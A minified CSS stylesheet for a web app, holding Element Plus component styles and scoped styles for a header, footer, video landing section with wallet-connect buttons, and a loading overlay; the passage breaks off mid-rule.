i{color:#fff;font-size:12px;margin-top:11px;transform:rotate(-45deg)}.el-upload-cover__progress{display:inline-block;position:static;vertical-align:middle;width:243px}.el-upload-cover__progress+.el-upload__inner{opacity:0}.el-upload-cover__content{height:100%;left:0;position:absolute;top:0;width:100%}.el-upload-cover__interact{background-color:var(--el-overlay-color-light);bottom:0;height:100%;left:0;position:absolute;text-align:center;width:100%}.el-upload-cover__interact .btn{color:#fff;cursor:pointer;display:inline-block;font-size:14px;margin-top:60px;transition:var(--el-transition-md-fade);vertical-align:middle}.el-upload-cover__interact .btn i{margin-top:0}.el-upload-cover__interact .btn span{opacity:0;transition:opacity .15s linear}.el-upload-cover__interact .btn:not(:first-child){margin-left:35px}.el-upload-cover__interact .btn:hover{transform:translateY(-13px)}.el-upload-cover__interact .btn:hover span{opacity:1}.el-upload-cover__interact .btn i{color:#fff;display:block;font-size:24px;line-height:inherit;margin:0 auto 5px}.el-upload-cover__title{background-color:#fff;bottom:0;color:var(--el-text-color-primary);font-size:14px;font-weight:400;height:36px;left:0;line-height:36px;margin:0;overflow:hidden;padding:0 10px;position:absolute;text-align:left;text-overflow:ellipsis;white-space:nowrap;width:100%}.el-upload-cover+.el-upload__inner{opacity:0;position:relative;z-index:1}.el-vl__wrapper{position:relative}.el-vl__wrapper:hover .el-virtual-scrollbar,.el-vl__wrapper.always-on .el-virtual-scrollbar{opacity:1}.el-vl__window{scrollbar-width:none}.el-vl__window::-webkit-scrollbar{display:none}.el-virtual-scrollbar{opacity:0;transition:opacity .34s ease-out}.el-virtual-scrollbar.always-on{opacity:1}.el-vg__wrapper{position:relative}.el-popper{--el-popper-border-radius:var(--el-popover-border-radius,4px);border-radius:var(--el-popper-border-radius);font-size:12px;line-height:20px;min-width:10px;overflow-wrap:break-word;padding:5px 11px;position:absolute;visibility:visible;z-index:2000}.el-popper.is-dark{background:var(--el-text-color-primary);border:1px solid var(--el-text-color-primary);color:var(--el-bg-color)}.el-popper.is-dark .el-popper__arrow:before{background:var(--el-text-color-primary);border:1px solid var(--el-text-color-primary);right:0}.el-popper.is-light{background:var(--el-bg-color-overlay);border:1px solid var(--el-border-color-light)}.el-popper.is-light .el-popper__arrow:before{background:var(--el-bg-color-overlay);border:1px solid var(--el-border-color-light);right:0}.el-popper.is-pure{padding:0}.el-popper__arrow{height:10px;position:absolute;width:10px;z-index:-1}.el-popper__arrow:before{background:var(--el-text-color-primary);box-sizing:border-box;content:" ";height:10px;position:absolute;transform:rotate(45deg);width:10px;z-index:-1}.el-popper[data-popper-placement^=top]>.el-popper__arrow{bottom:-5px}.el-popper[data-popper-placement^=top]>.el-popper__arrow:before{border-bottom-right-radius:2px}.el-popper[data-popper-placement^=bottom]>.el-popper__arrow{top:-5px}.el-popper[data-popper-placement^=bottom]>.el-popper__arrow:before{border-top-left-radius:2px}.el-popper[data-popper-placement^=left]>.el-popper__arrow{right:-5px}.el-popper[data-popper-placement^=left]>.el-popper__arrow:before{border-top-right-radius:2px}.el-popper[data-popper-placement^=right]>.el-popper__arrow{left:-5px}.el-popper[data-popper-placement^=right]>.el-popper__arrow:before{border-bottom-left-radius:2px}.el-popper[data-popper-placement^=top] .el-popper__arrow:before{border-left-color:transparent!important;border-top-color:transparent!important}.el-popper[data-popper-placement^=bottom] .el-popper__arrow:before{border-bottom-color:transparent!important;border-right-color:transparent!important}.el-popper[data-popper-placement^=left] .el-popper__arrow:before{border-bottom-color:transparent!important;border-left-color:transparent!important}.el-popper[data-popper-placement^=right] .el-popper__arrow:before{border-right-color:transparent!important;border-top-color:transparent!important}.el-statistic{--el-statistic-title-font-weight:400;--el-statistic-title-font-size:var(--el-font-size-extra-small);--el-statistic-title-color:var(--el-text-color-regular);--el-statistic-content-font-weight:400;--el-statistic-content-font-size:var(--el-font-size-extra-large);--el-statistic-content-color:var(--el-text-color-primary)}.el-statistic__head{color:var(--el-statistic-title-color);font-size:var(--el-statistic-title-font-size);font-weight:var(--el-statistic-title-font-weight);line-height:20px;margin-bottom:4px}.el-statistic__content{color:var(--el-statistic-content-color);font-size:var(--el-statistic-content-font-size);font-weight:var(--el-statistic-content-font-weight)}.el-statistic__value{display:inline-block}.el-statistic__prefix{display:inline-block;margin-right:4px}.el-statistic__suffix{display:inline-block;margin-left:4px}.el-tour{--el-tour-width:520px;--el-tour-padding-primary:12px;--el-tour-font-line-height:var(--el-font-line-height-primary);--el-tour-title-font-size:16px;--el-tour-title-text-color:var(--el-text-color-primary);--el-tour-title-font-weight:400;--el-tour-close-color:var(--el-color-info);--el-tour-font-size:14px;--el-tour-color:var(--el-text-color-primary);--el-tour-bg-color:var(--el-bg-color);--el-tour-border-radius:4px}.el-tour__hollow{transition:all var(--el-transition-duration) ease}.el-tour__content{border-radius:var(--el-tour-border-radius);box-shadow:var(--el-box-shadow-light);overflow-wrap:break-word;padding:var(--el-tour-padding-primary);width:var(--el-tour-width)}.el-tour__arrow,.el-tour__content{background:var(--el-tour-bg-color);box-sizing:border-box}.el-tour__arrow{height:10px;pointer-events:none;position:absolute;transform:rotate(45deg);width:10px}.el-tour__content[data-side^=top] .el-tour__arrow{border-left-color:transparent;border-top-color:transparent}.el-tour__content[data-side^=bottom] .el-tour__arrow{border-bottom-color:transparent;border-right-color:transparent}.el-tour__content[data-side^=left] .el-tour__arrow{border-bottom-color:transparent;border-left-color:transparent}.el-tour__content[data-side^=right] .el-tour__arrow{border-right-color:transparent;border-top-color:transparent}.el-tour__content[data-side^=top] .el-tour__arrow{bottom:-5px}.el-tour__content[data-side^=bottom] .el-tour__arrow{top:-5px}.el-tour__content[data-side^=left] .el-tour__arrow{right:-5px}.el-tour__content[data-side^=right] .el-tour__arrow{left:-5px}.el-tour__closebtn{background:transparent;border:none;cursor:pointer;font-size:var(--el-message-close-size,16px);height:40px;outline:none;padding:0;position:absolute;right:0;top:0;width:40px}.el-tour__closebtn .el-tour__close{color:var(--el-tour-close-color);font-size:inherit}.el-tour__closebtn:focus .el-tour__close,.el-tour__closebtn:hover .el-tour__close{color:var(--el-color-primary)}.el-tour__header{padding-bottom:var(--el-tour-padding-primary)}.el-tour__header.show-close{padding-right:calc(var(--el-tour-padding-primary) + var(--el-message-close-size, 16px))}.el-tour__title{color:var(--el-tour-title-text-color);font-size:var(--el-tour-title-font-size);font-weight:var(--el-tour-title-font-weight);line-height:var(--el-tour-font-line-height)}.el-tour__body{color:var(--el-tour-text-color);font-size:var(--el-tour-font-size)}.el-tour__body img,.el-tour__body video{max-width:100%}.el-tour__footer{box-sizing:border-box;display:flex;justify-content:space-between;padding-top:var(--el-tour-padding-primary)}.el-tour__content .el-tour-indicators{display:inline-block;flex:1}.el-tour__content .el-tour-indicator{background:var(--el-color-info-light-9);border-radius:50%;display:inline-block;height:6px;margin-right:6px;width:6px}.el-tour__content .el-tour-indicator.is-active{background:var(--el-color-primary)}.el-tour.el-tour--primary{--el-tour-title-text-color:#fff;--el-tour-text-color:#fff;--el-tour-bg-color:var(--el-color-primary);--el-tour-close-color:#fff}.el-tour.el-tour--primary .el-tour__closebtn:focus .el-tour__close,.el-tour.el-tour--primary .el-tour__closebtn:hover .el-tour__close{color:var(--el-tour-title-text-color)}.el-tour.el-tour--primary .el-button--default{background:#fff;border-color:var(--el-color-primary);color:var(--el-color-primary)}.el-tour.el-tour--primary .el-button--primary{border-color:#fff}.el-tour.el-tour--primary .el-tour-indicator{background:#ffffff26}.el-tour.el-tour--primary .el-tour-indicator.is-active{background:#fff}.el-tour-parent--hidden{overflow:hidden}.el-anchor{--el-anchor-bg-color:var(--el-bg-color);--el-anchor-padding-indent:14px;--el-anchor-line-height:22px;--el-anchor-font-size:12px;--el-anchor-color:var(--el-text-color-secondary);--el-anchor-active-color:var(--el-color-primary);--el-anchor-marker-bg-color:var(--el-color-primary);background-color:var(--el-anchor-bg-color);position:relative}.el-anchor__marker{background-color:var(--el-anchor-marker-bg-color);border-radius:4px;opacity:0;position:absolute;z-index:0}.el-anchor.el-anchor--vertical .el-anchor__marker{height:14px;left:0;top:8px;transition:top .25s ease-in-out,opacity .25s;width:4px}.el-anchor.el-anchor--vertical .el-anchor__list{padding-left:var(--el-anchor-padding-indent)}.el-anchor.el-anchor--vertical.el-anchor--underline:before{background-color:#0505050f;content:"";height:100%;left:0;position:absolute;width:2px}.el-anchor.el-anchor--vertical.el-anchor--underline .el-anchor__marker{border-radius:unset;width:2px}.el-anchor.el-anchor--horizontal .el-anchor__marker{bottom:0;height:2px;transition:left .25s ease-in-out,opacity .25s,width .25s;width:20px}.el-anchor.el-anchor--horizontal .el-anchor__list{display:flex;padding-bottom:4px}.el-anchor.el-anchor--horizontal .el-anchor__list .el-anchor__item{padding-left:16px}.el-anchor.el-anchor--horizontal .el-anchor__list .el-anchor__item:first-child{padding-left:0}.el-anchor.el-anchor--horizontal.el-anchor--underline:before{background-color:#0505050f;bottom:0;content:"";height:2px;position:absolute;width:100%}.el-anchor.el-anchor--horizontal.el-anchor--underline .el-anchor__marker{border-radius:unset;height:2px}.el-anchor__item{display:flex;flex-direction:column;overflow:hidden}.el-anchor__link{color:var(--el-anchor-color);cursor:pointer;font-size:var(--el-anchor-font-size);line-height:var(--el-anchor-line-height);max-width:100%;outline:none;overflow:hidden;padding:4px 0;text-decoration:none;text-overflow:ellipsis;transition:color var(--el-transition-duration);white-space:nowrap}.el-anchor__link:focus,.el-anchor__link:hover{color:var(--el-anchor-color)}.el-anchor__link.is-active{color:var(--el-anchor-active-color)}.el-anchor .el-anchor__list .el-anchor__item a{display:inline-block}.footer[data-v-3a13b385]{width:100vw;display:flex;justify-content:center;align-items:center;position:absolute;bottom:20px}.footer_content[data-v-3a13b385]{display:flex;justify-content:space-between;width:100%}@media (max-width: 500px){.footer_content_fake[data-v-3a13b385]{display:none}}@media (max-width: 500px){.footer_content[data-v-3a13b385]{justify-content:center}}.footer_content_links[data-v-3a13b385]{display:flex;column-gap:12px;margin-right:40px}@media (max-width: 500px){.footer_content_links[data-v-3a13b385]{column-gap:4px;margin-right:0;flex-wrap:wrap;justify-content:center;align-items:center;row-gap:4px}}.footer_content_links>a[data-v-3a13b385]{cursor:pointer}.footer_content_links>a>img[data-v-3a13b385]{width:40px}.header[data-v-af67d5ec]{position:fixed;display:flex;width:100%;z-index:999;margin-top:40px}.header_content[data-v-af67d5ec]{background:#524034;border-radius:10px;width:fit-content;padding:6px 40px;color:#000;margin:0 auto;display:flex;justify-content:center;column-gap:40px;font-size:24px;font-weight:500;align-items:center;max-width:1440px}@media (max-width: 730px){.header_content[data-v-af67d5ec]{width:80%}}@media (max-width: 550px){.header_content[data-v-af67d5ec]{column-gap:12px;font-size:20px;width:90%;padding:6px}}.header_content>a[data-v-af67d5ec]{color:#fff;cursor:pointer;text-align:center}.header_content>a[data-v-af67d5ec]:hover{opacity:75%}.header_content_button[data-v-af67d5ec]{all:unset;color:#fff;border-radius:9999px;padding:20px 12px;font-size:24px;cursor:pointer;text-align:center}@media (max-width: 550px){.header_content_button[data-v-af67d5ec]{font-size:20px}}.header_content_button[data-v-af67d5ec]:hover:not(:disabled){opacity:75%}.header_content_button[data-v-af67d5ec]:disabled{cursor:not-allowed}.v-enter-active[data-v-89136bae],.v-leave-active[data-v-89136bae]{transition:opacity .5s ease}.v-enter-from[data-v-89136bae],.v-leave-to[data-v-89136bae]{opacity:0}.content[data-v-89136bae]{background:#0000;position:relative;height:100vh}.content_actions[data-v-89136bae]{display:flex;flex-direction:column;position:absolute;justify-content:center;align-items:center;right:32px;top:32px;row-gap:30px}.content_actions_play[data-v-89136bae]{all:unset;cursor:pointer}.content_actions_play>img[data-v-89136bae]{width:37px;height:37px}.content_actions>a[data-v-89136bae]{cursor:pointer}.content_actions>a:nth-child(2)>img[data-v-89136bae]{width:37px}.content_actions>a:nth-child(3)>img[data-v-89136bae]{width:48px}.content_actions>a:nth-child(4)>img[data-v-89136bae]{width:48px;height:48px}.content_actions>a:nth-child(5)>img[data-v-89136bae]{width:48px}.content_welcome[data-v-89136bae]{position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;z-index:999;-webkit-backdrop-filter:blur(12px);backdrop-filter:blur(12px);transition:all .3s ease;background-color:#000c}.content_welcome>button[data-v-89136bae]{all:unset;background-color:silver;border-radius:9999px;font-size:20px;color:#000;font-weight:600;cursor:pointer;padding:16px 32px;transition-property:color,background-color,border-color,text-decoration-color,fill,stroke;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.content_pause[data-v-89136bae]{position:absolute;top:20px;right:20px;width:100px;cursor:pointer;transition:all .3s ease}.content_pause[data-v-89136bae]:hover{opacity:90%}.content_play[data-v-89136bae]{position:absolute;top:34%;left:50%;transform:translate(-50%,-50%);width:273px;transition:all .3s ease;cursor:pointer}.content_play[data-v-89136bae]:hover{opacity:90%}@media (max-width: 620px){.content_play[data-v-89136bae]{width:40%}}.content_video[data-v-89136bae]{width:100%;height:100%;object-fit:cover;position:absolute;top:0;left:0}.content_logo-name[data-v-89136bae]{width:180px;position:absolute;top:60px;left:50%;z-index:1;transform:translate(-50%,-50%)}.content_buttons[data-v-89136bae]{position:absolute;z-index:1;top:68%;left:54%;transform:translate(-50%,-50%);width:fit-content;display:flex;flex-direction:column;justify-content:center;align-content:center;row-gap:20px}.content_buttons_connect[data-v-89136bae]{margin:0 auto}.content_buttons_connect[data-v-89136bae] .swv-button{all:unset;overflow:hidden;position:relative;display:flex;align-items:center;justify-content:center;margin:0 auto;padding:16px 32px;border-radius:99px;cursor:pointer;color:#000;transition-property:color,background-color,border-color,text-decoration-color,fill,stroke;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s;font-size:20px;background-color:silver}.content_buttons_connect[data-v-89136bae] .swv-button:hover{background-color:silver!important}.content_buttons_get[data-v-89136bae]{all:unset;overflow:hidden;position:relative;display:flex;align-items:center;justify-content:center;margin:0 auto;cursor:pointer;color:#000;text-wrap:nowrap;padding:16px 32px;border-radius:99px;transition-property:color,background-color,border-color,text-decoration-color,fill,stroke;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s;font-size:20px;background-color:silver}@media (max-width: 350px){.content_buttons_get[data-v-89136bae]{width:200px}}.content_buttons_get[data-v-89136bae]:disabled{opacity:75%;cursor:not-allowed}:root{--el-color-white:#ffffff;--el-color-black:#000000;--el-color-primary-rgb:64,158,255;--el-color-success-rgb:103,194,58;--el-color-warning-rgb:230,162,60;--el-color-danger-rgb:245,108,108;--el-color-error-rgb:245,108,108;--el-color-info-rgb:144,147,153;--el-font-size-extra-large:20px;--el-font-size-large:18px;--el-font-size-medium:16px;--el-font-size-base:14px;--el-font-size-small:13px;--el-font-size-extra-small:12px;--el-font-family:"Helvetica Neue",Helvetica,"PingFang SC","Hiragino Sans GB","Microsoft YaHei","微软雅黑",Arial,sans-serif;--el-font-weight-primary:500;--el-font-line-height-primary:24px;--el-index-normal:1;--el-index-top:1000;--el-index-popper:2000;--el-border-radius-base:4px;--el-border-radius-small:2px;--el-border-radius-round:20px;--el-border-radius-circle:100%;--el-transition-duration:.3s;--el-transition-duration-fast:.2s;--el-transition-function-ease-in-out-bezier:cubic-bezier(.645,.045,.355,1);--el-transition-function-fast-bezier:cubic-bezier(.23,1,.32,1);--el-transition-all:all var(--el-transition-duration) var(--el-transition-function-ease-in-out-bezier);--el-transition-fade:opacity var(--el-transition-duration) var(--el-transition-function-fast-bezier);--el-transition-md-fade:transform var(--el-transition-duration) var(--el-transition-function-fast-bezier),opacity var(--el-transition-duration) var(--el-transition-function-fast-bezier);--el-transition-fade-linear:opacity var(--el-transition-duration-fast) linear;--el-transition-border:border-color var(--el-transition-duration-fast) var(--el-transition-function-ease-in-out-bezier);--el-transition-box-shadow:box-shadow var(--el-transition-duration-fast) var(--el-transition-function-ease-in-out-bezier);--el-transition-color:color var(--el-transition-duration-fast) var(--el-transition-function-ease-in-out-bezier);--el-component-size-large:40px;--el-component-size:32px;--el-component-size-small:24px}:root{color-scheme:light;--el-color-primary:#409eff;--el-color-primary-light-3:#79bbff;--el-color-primary-light-5:#a0cfff;--el-color-primary-light-7:#c6e2ff;--el-color-primary-light-8:#d9ecff;--el-color-primary-light-9:#ecf5ff;--el-color-primary-dark-2:#337ecc;--el-color-success:#67c23a;--el-color-success-light-3:#95d475;--el-color-success-light-5:#b3e19d;--el-color-success-light-7:#d1edc4;--el-color-success-light-8:#e1f3d8;--el-color-success-light-9:#f0f9eb;--el-color-success-dark-2:#529b2e;--el-color-warning:#e6a23c;--el-color-warning-light-3:#eebe77;--el-color-warning-light-5:#f3d19e;--el-color-warning-light-7:#f8e3c5;--el-color-warning-light-8:#faecd8;--el-color-warning-light-9:#fdf6ec;--el-color-warning-dark-2:#b88230;--el-color-danger:#f56c6c;--el-color-danger-light-3:#f89898;--el-color-danger-light-5:#fab6b6;--el-color-danger-light-7:#fcd3d3;--el-color-danger-light-8:#fde2e2;--el-color-danger-light-9:#fef0f0;--el-color-danger-dark-2:#c45656;--el-color-error:#f56c6c;--el-color-error-light-3:#f89898;--el-color-error-light-5:#fab6b6;--el-color-error-light-7:#fcd3d3;--el-color-error-light-8:#fde2e2;--el-color-error-light-9:#fef0f0;--el-color-error-dark-2:#c45656;--el-color-info:#909399;--el-color-info-light-3:#b1b3b8;--el-color-info-light-5:#c8c9cc;--el-color-info-light-7:#dedfe0;--el-color-info-light-8:#e9e9eb;--el-color-info-light-9:#f4f4f5;--el-color-info-dark-2:#73767a;--el-bg-color:#ffffff;--el-bg-color-page:#f2f3f5;--el-bg-color-overlay:#ffffff;--el-text-color-primary:#303133;--el-text-color-regular:#606266;--el-text-color-secondary:#909399;--el-text-color-placeholder:#a8abb2;--el-text-color-disabled:#c0c4cc;--el-border-color:#dcdfe6;--el-border-color-light:#e4e7ed;--el-border-color-lighter:#ebeef5;--el-border-color-extra-light:#f2f6fc;--el-border-color-dark:#d4d7de;--el-border-color-darker:#cdd0d6;--el-fill-color:#f0f2f5;--el-fill-color-light:#f5f7fa;--el-fill-color-lighter:#fafafa;--el-fill-color-extra-light:#fafcff;--el-fill-color-dark:#ebedf0;--el-fill-color-darker:#e6e8eb;--el-fill-color-blank:#ffffff;--el-box-shadow:0px 12px 32px 4px rgba(0,0,0,.04),0px 8px 20px rgba(0,0,0,.08);--el-box-shadow-light:0px 0px 12px rgba(0,0,0,.12);--el-box-shadow-lighter:0px 0px 6px rgba(0,0,0,.12);--el-box-shadow-dark:0px 16px 48px 16px rgba(0,0,0,.08),0px 12px 32px rgba(0,0,0,.12),0px 8px 16px -8px rgba(0,0,0,.16);--el-disabled-bg-color:var(--el-fill-color-light);--el-disabled-text-color:var(--el-text-color-placeholder);--el-disabled-border-color:var(--el-border-color-light);--el-overlay-color:rgba(0,0,0,.8);--el-overlay-color-light:rgba(0,0,0,.7);--el-overlay-color-lighter:rgba(0,0,0,.5);--el-mask-color:rgba(255,255,255,.9);--el-mask-color-extra-light:rgba(255,255,255,.3);--el-border-width:1px;--el-border-style:solid;--el-border-color-hover:var(--el-text-color-disabled);--el-border:var(--el-border-width) var(--el-border-style) var(--el-border-color);--el-svg-monochrome-grey:var(--el-border-color)}.fade-in-linear-enter-active,.fade-in-linear-leave-active{transition:var(--el-transition-fade-linear)}.fade-in-linear-enter-from,.fade-in-linear-leave-to{opacity:0}.el-fade-in-linear-enter-active,.el-fade-in-linear-leave-active{transition:var(--el-transition-fade-linear)}.el-fade-in-linear-enter-from,.el-fade-in-linear-leave-to{opacity:0}.el-fade-in-enter-active,.el-fade-in-leave-active{transition:all var(--el-transition-duration) cubic-bezier(.55,0,.1,1)}.el-fade-in-enter-from,.el-fade-in-leave-active{opacity:0}.el-zoom-in-center-enter-active,.el-zoom-in-center-leave-active{transition:all var(--el-transition-duration) cubic-bezier(.55,0,.1,1)}.el-zoom-in-center-enter-from,.el-zoom-in-center-leave-active{opacity:0;transform:scaleX(0)}.el-zoom-in-top-enter-active,.el-zoom-in-top-leave-active{opacity:1;transform:scaleY(1);transform-origin:center top;transition:var(--el-transition-md-fade)}.el-zoom-in-top-enter-active[data-popper-placement^=top],.el-zoom-in-top-leave-active[data-popper-placement^=top]{transform-origin:center bottom}.el-zoom-in-top-enter-from,.el-zoom-in-top-leave-active{opacity:0;transform:scaleY(0)}.el-zoom-in-bottom-enter-active,.el-zoom-in-bottom-leave-active{opacity:1;transform:scaleY(1);transform-origin:center bottom;transition:var(--el-transition-md-fade)}.el-zoom-in-bottom-enter-from,.el-zoom-in-bottom-leave-active{opacity:0;transform:scaleY(0)}.el-zoom-in-left-enter-active,.el-zoom-in-left-leave-active{opacity:1;transform:scale(1);transform-origin:top left;transition:var(--el-transition-md-fade)}.el-zoom-in-left-enter-from,.el-zoom-in-left-leave-active{opacity:0;transform:scale(.45)}.collapse-transition{transition:var(--el-transition-duration) height ease-in-out,var(--el-transition-duration) padding-top ease-in-out,var(--el-transition-duration) padding-bottom ease-in-out}.el-collapse-transition-enter-active,.el-collapse-transition-leave-active{transition:var(--el-transition-duration) max-height ease-in-out,var(--el-transition-duration) padding-top ease-in-out,var(--el-transition-duration) padding-bottom ease-in-out}.horizontal-collapse-transition{transition:var(--el-transition-duration) width ease-in-out,var(--el-transition-duration) padding-left ease-in-out,var(--el-transition-duration) padding-right ease-in-out}.el-list-enter-active,.el-list-leave-active{transition:all 1s}.el-list-enter-from,.el-list-leave-to{opacity:0;transform:translateY(-30px)}.el-list-leave-active{position:absolute!important}.el-opacity-transition{transition:opacity var(--el-transition-duration) cubic-bezier(.55,0,.1,1)}.el-icon-loading{-webkit-animation:rotating 2s linear infinite;animation:rotating 2s linear infinite}.el-icon--right{margin-left:5px}.el-icon--left{margin-right:5px}@-webkit-keyframes rotating{0%{transform:rotate(0)}to{transform:rotate(1turn)}}@keyframes rotating{0%{transform:rotate(0)}to{transform:rotate(1turn)}}.el-icon{--color:inherit;align-items:center;display:inline-flex;height:1em;justify-content:center;line-height:1em;position:relative;width:1em;fill:currentColor;color:var(--color);font-size:inherit}.el-icon.is-loading{-webkit-animation:rotating 2s linear infinite;animation:rotating 2s linear infinite}.el-icon svg{height:1em;width:1em}.el-badge{--el-badge-bg-color:var(--el-color-danger);--el-badge-radius:10px;--el-badge-font-size:12px;--el-badge-padding:6px;--el-badge-size:18px;display:inline-block;position:relative;vertical-align:middle;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}.el-badge__content{align-items:center;background-color:var(--el-badge-bg-color);border:1px solid var(--el-bg-color);border-radius:var(--el-badge-radius);color:var(--el-color-white);display:inline-flex;font-size:var(--el-badge-font-size);height:var(--el-badge-size);justify-content:center;padding:0 var(--el-badge-padding);white-space:nowrap}.el-badge__content.is-fixed{position:absolute;right:calc(1px + var(--el-badge-size)/2);top:0;transform:translateY(-50%) translate(100%);z-index:var(--el-index-normal)}.el-badge__content.is-fixed.is-dot{right:5px}.el-badge__content.is-dot{border-radius:50%;height:8px;padding:0;right:0;width:8px}.el-badge__content--primary{background-color:var(--el-color-primary)}.el-badge__content--success{background-color:var(--el-color-success)}.el-badge__content--warning{background-color:var(--el-color-warning)}.el-badge__content--info{background-color:var(--el-color-info)}.el-badge__content--danger{background-color:var(--el-color-danger)}.el-message{--el-message-bg-color:var(--el-color-info-light-9);--el-message-border-color:var(--el-border-color-lighter);--el-message-padding:11px 15px;--el-message-close-size:16px;--el-message-close-icon-color:var(--el-text-color-placeholder);--el-message-close-hover-color:var(--el-text-color-secondary);align-items:center;background-color:var(--el-message-bg-color);border-color:var(--el-message-border-color);border-radius:var(--el-border-radius-base);border-style:var(--el-border-style);border-width:var(--el-border-width);box-sizing:border-box;display:flex;gap:8px;left:50%;max-width:calc(100% - 32px);padding:var(--el-message-padding);position:fixed;top:20px;transform:translate(-50%);transition:opacity var(--el-transition-duration),transform .4s,top .4s;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}.el-message.is-center{justify-content:center}.el-message.is-plain{background-color:var(--el-bg-color-overlay);border-color:var(--el-bg-color-overlay);box-shadow:var(--el-box-shadow-light)}.el-message p{margin:0}.el-message--success{--el-message-bg-color:var(--el-color-success-light-9);--el-message-border-color:var(--el-color-success-light-8);--el-message-text-color:var(--el-color-success)}.el-message--success .el-message__content{color:var(--el-message-text-color);overflow-wrap:break-word}.el-message .el-message-icon--success{color:var(--el-message-text-color)}.el-message--info{--el-message-bg-color:var(--el-color-info-light-9);--el-message-border-color:var(--el-color-info-light-8);--el-message-text-color:var(--el-color-info)}.el-message--info .el-message__content{color:var(--el-message-text-color);overflow-wrap:break-word}.el-message .el-message-icon--info{color:var(--el-message-text-color)}.el-message--warning{--el-message-bg-color:var(--el-color-warning-light-9);--el-message-border-color:var(--el-color-warning-light-8);--el-message-text-color:var(--el-color-warning)}.el-message--warning .el-message__content{color:var(--el-message-text-color);overflow-wrap:break-word}.el-message .el-message-icon--warning{color:var(--el-message-text-color)}.el-message--error{--el-message-bg-color:var(--el-color-error-light-9);--el-message-border-color:var(--el-color-error-light-8);--el-message-text-color:var(--el-color-error)}.el-message--error .el-message__content{color:var(--el-message-text-color);overflow-wrap:break-word}.el-message .el-message-icon--error{color:var(--el-message-text-color)}.el-message .el-message__badge{position:absolute;right:-8px;top:-8px}.el-message__content{font-size:14px;line-height:1;padding:0}.el-message__content:focus{outline-width:0}.el-message .el-message__closeBtn{color:var(--el-message-close-icon-color);cursor:pointer;font-size:var(--el-message-close-size)}.el-message .el-message__closeBtn:focus{outline-width:0}.el-message .el-message__closeBtn:hover{color:var(--el-message-close-hover-color)}.el-message-fade-enter-from,.el-message-fade-leave-to{opacity:0;transform:translate(-50%,-100%)}.loading[data-v-65cad27c]{transform:rotate(45deg);perspective:1000px;border-radius:50%;width:48px;height:48px;color:#ddd}.loading[data-v-65cad27c]:before,.loading[data-v-65cad27c]:after{content:"";display:block;position:absolute;top:0;left:0;width:inherit;height:inherit;border-radius:50%;transform:rotateX(70deg);animation:1s spin-65cad27c linear infinite}.loading[data-v-65cad27c]:after{color:#ddd;transform:rotateY(70deg);animation-delay:.1s}@keyframes spin-65cad27c{0%,to{box-shadow:.2em 0 0 0 currentcolor}12%{box-shadow:.2em .2em 0 0 currentcolor}25%{box-shadow:0 .2em 0 0 currentcolor}37%{box-shadow:-.2em .2em 0 0 currentcolor}50%{box-shadow:-.2em 0 0 0 currentcolor}62%{box-shadow:-.2em -.2em 0 0 currentcolor}75%{box-shadow:0 -.2em 0 0 currentcolor}87%{box-shadow:.2em -.2em 0 0 currentcolor}}.loading-background-enter-active[data-v-65cad27c],.loading-background-leave-active[data-v-65cad27c]{transition:opacity .5s ease}.loading-background-enter-from[data-v-65cad27c],.loading-background-leave-to[data-v-65cad27c]{opacity:0}.loader[data-v-65cad27c]{-webkit-backdrop-filter:blur(12px);backdrop-filter:blur(12px);transition:all .3s ease;background-color:#000c;z-index:99999;position:fixed;left:0;top:0;min-height:100vh;height:100%;width:100%;display:flex;flex-direction:column;justify-content:start;align-items:center;overflow:scroll}.loader_content[data-v-65cad27c]{display:flex;flex-direction:column;justify-content:center;align-items:center;row-gap:40px;margin-top:80px;padding-bottom:40px}.loader_content_dont-refresh[data-v-65cad27c]{font-family:DM Sans,Roboto,Helvetica Neue,Helvetica,Arial,sans-serif;display:flex;flex-direction:column;justify-content:center;align-items:center;text-align:center;row-gap:18px;margin-top:-12px}.loader_content_dont-refresh_title[data-v-65cad27c]{font-size:30px;font-weight:800}@media (max-width: 500px){.loader_content_dont-refresh_title[data-v-65cad27c]{font-size:24px}}@media (max-width: 400px){.loader_content_dont-refresh_title[data-v-65cad27c]{font-size:20px}}@media (max-width: 330px){.loader_content_dont-refresh_title[data-v-65cad27c]{font-size:18px}}.loader_content_dont-refresh_text[data-v-65cad27c]{width:60%;font-size:20px;line-height:1.2}@media (max-width: 600px){.loader_content_dont-refresh_text[data-v-65cad27c]{width:80%}}@media (max-width: 500px){.loader_content_dont-refresh_text[data-v-65cad27c]{font-size:18px}}@media (max-width: 330px){.loader_content_dont-refresh_text[data-v-65cad27c]{font-size:16px}}.loader_content_text[data-v-65cad27c]{display:flex;font-family:DM Sans,Roboto,Helvetica Neue,Helvetica,Arial,sans-serif;flex-direction:column;align-items:center;text-align:center;row-gap:20px}@media (max-width: 450px){.loader_content_text[data-v-65cad27c]{width:80%}}.loader_content_text_title[data-v-65cad27c]{font-size:28px;font-weight:800}@media (max-width: 510px){.loader_content_text_title[data-v-65cad27c]{font-size:24px}}.loader_content_text_description[data-v-65cad27c]{font-size:20px;font-weight:500;line-height:1.3}@media (max-width: 580px){.loader_content_text_description[data-v-65cad27c]{display:none}}.loader_content_text_description--1[data-v-65cad27c]{display:none}@media (max-width: 580px){.loader_content_text_description--1[data-v-65cad27c]{display:block;width:80%;font-weight:600;line-height:1.3}}.loader_content_actions_button[data-v-65cad27c]{all:unset;overflow:hidden;position:relative;display:flex;align-items:center;justify-content:center;margin:0 auto;cursor:pointer;color:#000;padding:16px 32px;border-radius:99px;transition-property:color,background-color,border-color,text-decoration-color,fill,stroke;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s;font-size:20px;background-color:silver}.loader_content_warning[data-v-65cad27c]{display:flex;flex-direction:column;justify-content:center;align-items:center;row-gap:20px}.loader_content_warning_img[data-v-65cad27c]{border-radius:12px;overflow:hidden;width:240px}.loader_content_warning_close[data-v-65cad27c]{cursor:pointer;font-family:DM Sans,Roboto,Helvetica Neue,Helvetica,Arial,sans-serif;color:#ddd;transition:all 